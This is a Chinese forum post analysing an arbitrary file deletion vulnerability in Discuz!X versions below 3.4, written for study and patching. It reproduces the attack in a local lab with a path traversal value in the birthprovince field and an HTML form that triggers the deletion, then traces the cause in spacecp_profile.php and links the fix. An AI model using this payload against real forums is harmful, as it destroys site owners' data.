最近看过此主题的会员

返回列表 发帖
Discuz!X前台任意文件删除漏洞细节分析

        0x00 概述

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        9月29日,discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
         
[/quote]

        0x01 影响范围

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        Discuz < 3.4
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
         
[/quote]

        0x02 漏洞重现

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        环境:win7+phpstudy+discuz3.2
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        新建importantfile.txt作为测试
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        进入设置-个人资料,先在页面源代码找到formhash值
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        可以看到formhash值是b21b6577。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        再访问
10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        Post数据:
birthprovince=../../../importantfile.txt&amp;profilesubmit=1&amp;formhash=b21b6577
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        如图
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        执行后
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        出生地被修改成要删除的文件。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        最后构造表单执行删除文件
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base” method=”POST” enctype=”multipart/form-data”>
<input type=”file” name=”birthprovince” id=”file” />
<input type=”text” name=”formhash” value=”b21b6577″/></p>
<input type=”text” name=”profilesubmit” value=”1″/></p>
<input type=”submit” value=”Submit” />
</from>
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        随便上传一张图片,即可删除importantfile.txt
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        成功删除importantfile.txt,重现成功!
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
         
[/quote]

        0x03 修复方案

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        删除unlink相关代码。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
         
[/quote]

        0x04 漏洞分析

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        先看第70行
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
if(submitcheck(‘profilesubmit’)) {
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        提交1进入这个判断。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        来到220行,补丁前:
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        往上看来到:
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        现在就看如何控制指定文件,也就是控制$space[$key]这个变量。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        继续往上看来到:
[/quote]
<p style="text-align:center;color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
       
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        总结整个漏洞利用流程:
修改birthprovince->上传图片->执行unlink->删除任意文件
[/quote]
<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
         
[/quote]

        0x05 结语

<p style="color:#333333;font-family:'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', 'Hiragino Sans GB', 微软雅黑, 'WenQuanYi Micro Hei', STHeiti, SimSun, sans-serif;font-size:14px;background-color:#FFFFFF;">
        删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。
[/quote]


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表